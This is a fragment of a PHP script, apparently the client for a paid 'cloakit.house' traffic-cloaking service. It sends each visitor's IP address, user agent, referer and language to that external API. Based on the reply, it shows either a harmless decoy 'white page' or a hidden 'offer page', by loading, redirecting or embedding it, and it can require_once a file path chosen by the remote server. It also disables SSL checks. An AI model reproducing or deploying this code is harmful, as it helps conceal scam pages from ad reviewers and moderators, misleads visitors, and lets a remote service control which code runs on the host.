'c1afff55c3b5c1519b3a4805bc6bf49e', 'user_agent' => $_SERVER['HTTP_USER_AGENT'], 'referer' => ! empty($_SERVER['HTTP_REFERER']) ? $_SERVER['HTTP_REFERER'] : '', 'query' => ! empty($_SERVER['QUERY_STRING']) ? $_SERVER['QUERY_STRING'] : '', 'lang' => ! empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) ? $_SERVER['HTTP_ACCEPT_LANGUAGE'] : '', 'ip_address' => $ip_address ]; if (function_exists('curl_version')) { $request_data = http_build_query($request_data); $ch = curl_init('https://cloakit.house/api/v1/check'); curl_setopt_array($ch, [ CURLOPT_RETURNTRANSFER => TRUE, CURLOPT_CUSTOMREQUEST => 'POST', CURLOPT_SSL_VERIFYPEER => FALSE, CURLOPT_TIMEOUT => 15, CURLOPT_POSTFIELDS => $request_data ]); $result = curl_exec($ch); $info = curl_getinfo($ch); curl_close($ch); if ( ! empty($info) && $info['http_code'] == 200) { $body = json_decode($result, TRUE); if ( ! empty($body['filter_type']) && $body['filter_type'] == 'subscription_expired') { exit('Your Subscription Expired.'); } if ( ! empty($body['url_white_page']) && ! empty($body['url_offer_page'])) { // Options $сontext_options = ['ssl' => ['verify_peer' => FALSE, 'verify_peer_name' => FALSE], 'http' => ['header' => 'User-Agent: ' . $_SERVER['HTTP_USER_AGENT']]]; // Offer Page if ($body['filter_page'] == 'offer') { if ($body['mode_offer_page'] == 'loading') { if (filter_var($body['url_offer_page'], FILTER_VALIDATE_URL)) { echo str_replace('', '', file_get_contents($body['url_offer_page'], FALSE, stream_context_create($сontext_options))); } elseif (file_exists($body['url_offer_page'])) { if (pathinfo($body['url_offer_page'], PATHINFO_EXTENSION) == 'html') { echo file_get_contents($body['url_offer_page'], FALSE, stream_context_create($сontext_options)); } else { require_once($body['url_offer_page']); } } else { exit('Offer Page Not Found.'); } } if ($body['mode_offer_page'] == 'redirect') { header('Location: ' . $body['url_offer_page'], TRUE, 302); exit(0); } if ($body['mode_offer_page'] == 'iframe') { echo ' '; } } // White Page if ($body['filter_page'] == 'white') { if ($body['mode_white_page'] == 'loading') { if (filter_var($body['url_white_page'], FILTER_VALIDATE_URL)) { echo str_replace('', '', file_get_contents($body['url_white_page'], FALSE, stream_context_create($сontext_options))); } elseif (file_exists($body['url_white_page'])) { if (pathinfo($body['url_white_page'], PATHINFO_EXTENSION) == 'html') { echo file_get_contents($body['url_white_page'], FALSE, stream_context_create($сontext_options)); } else { require_once($body['url_white_page']); } } else { exit('White Page Not Found.'); } } if ($body['mode_white_page'] == 'redirect') { header('Location: ' . $body['url_white_page'], TRUE, 302); exit(0); } } } } } else { exit('cURL is not supported on the hosting.'); } ?>